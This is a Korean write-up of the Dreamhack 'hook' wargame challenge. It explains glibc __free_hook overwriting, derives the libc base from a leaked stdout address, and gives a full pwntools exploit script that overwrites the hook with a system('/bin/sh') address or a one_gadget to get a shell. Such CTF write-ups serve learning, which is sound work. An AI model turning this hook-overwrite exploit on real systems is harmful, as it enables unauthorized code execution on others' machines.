[dreamhack] hook writeup

1. 문제

thumbnail
hook

이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/52

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

stdout의 주소를 출력한 후, size 변수를 입력받아 ptr에 할당한다. 그리고 ptrsize만큼 입력을 받은 후 아래와 같은 내용을 수행한다.

*(long *)*ptr = *(ptr+1);

그리고 두번 free를 하고, /bin/sh를 실행한다.


처음에 일단 저 포인터 관련 코드를 이해하기가 어려웠다. 포인터 공부를 좀 해야겠다는 생각이 들 정도로 무슨 의미인지 알 수 없어서 GPT에 물어봤다….

  • *(ptr+1)은 ptr[1]에 들어가있는 값과 같음
  • *ptr은 ptr[0]과 같기 때문에, *(long )ptr은 *ptr이 가리키는 메모리 위치가 됨
  • 따라서 ptr[0]이 가리키는 메모리 주소에 ptr[1]이 가리키는 포인터 값을 long타입으로 저장하는 것

그리고 문제에서 대놓고 hook overwrite를 이용하라고 했기 때문에, 이게 무엇인지 공부하기 위해 찾아보았다.

2.1. hook overwrite

malloc, free, realloc 등의 함수는 hook 변수가 정의되어 있다.

  • ex) __malloc_hook, __free_hook, __realloc_hook

이 중에서 예시로 malloc 함수를 보면 아래와 같다.

// __malloc_hook
void *__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;
  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook); // malloc hook read
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);
  // ...
}

__malloc_hook 변수의 NULL인지 확인하고, NULL이 아니면 malloc을 수행하기 전에 __malloc_hook이 가리키는 위치에 있는 코드를 먼저 실행하게 된다. 이때 malloc에 넣은 인자는 hook 코드에 전달된다.

즉, 이 hook 주소에 원하는 코드의 주소를 넣고 인자값을 수정할 수 있으면 exploit이 가능할 것이다. 이게 hook overwrite이다.

2.2. exploit #1

바이너리의 코드를 보면, 이미 system("/bin/sh")가 존재하기 때문에 해야할 일은 그저 특정 함수의 hook 변수에 이 주소를 덮기만 하면 된다. 어떤 함수의 hook 변수를 사용할지 생각해보면 저 문제의 포인터 코드 바로 밑에 free(ptr)가 있기 때문에 free함수의 hook 변수인 __free_hook을 덮어주면 되겠다.

먼저 system("/bin/sh")의 주소를 구해보자.

"/bin/sh" 문자열을 edi에 넣는 것까지 포함해야하기 때문에 주소는 0x400a11이다.

이제 __free_hook 변수의 주소를 구해야하는데, 이 주소는 libc에 존재하므로, 바이너리에서 출력해주는 stdout 주소를 기반으로 libc_base 주소를 구한 후 __free_hook 변수의 offset을 더해서 구할 수 있다.

exploit은 간단하다. ptr[0]에 __free_hook 변수의 주소를 넣고 ptr[1]에 system("/bin/sh") 주소를 넣으면 __free_hook이 가리키는 주소가 system("/bin/sh")의 주소가 덮이게 되므로 쉘을 딸 수 있다.

64비트 프로그램이고, 두 개의 주소를 받아야하기 때문에 ptrsize는 8 + 8 = 16바이트로 맞춰주면 끝이다.

최종 exploit은 아래와 같다.

from pwn import *

p = process("./hook")
#p = remote("host3.dreamhack.games", 13245)
e = ELF("./hook")
libc = ELF("libc-2.23.so")
stdout_offset = libc.symbols['_IO_2_1_stdout_']
# readelf -s libc.so.6 |grep stdout 으로 구해도됨

# Init
p.recvuntil("stdout: ")
stdout_addr = int(p.recvline()[:-1], 16)
libc_base = stdout_addr - stdout_offset
free_hook = libc_base + libc.symbols['__free_hook']
print(f"freehook: {hex(free_hook)}")
system_binsh = 0x400a11 # from code
one_gadget = 0x4527a

# send size as 16bytes
p.recvuntil('Size: ')
p.sendline(b'16')
p.recvuntil('Data: ')

# send data to overwrite freehook with system("/bin/sh") address in the code
payload = p64(free_hook)
payload += p64(system_binsh)
#payload += p64(libc_base + one_gadget)
p.send(payload)

p.interactive()

2.3. exploit #2

위 exploit에서 볼 수 있는 것처럼 system("/bin/sh") 주소 대신 one_gadget을 통해 구한 주소를 보내도 constraints 제한 조건만 맞으면 가능하다.

해결~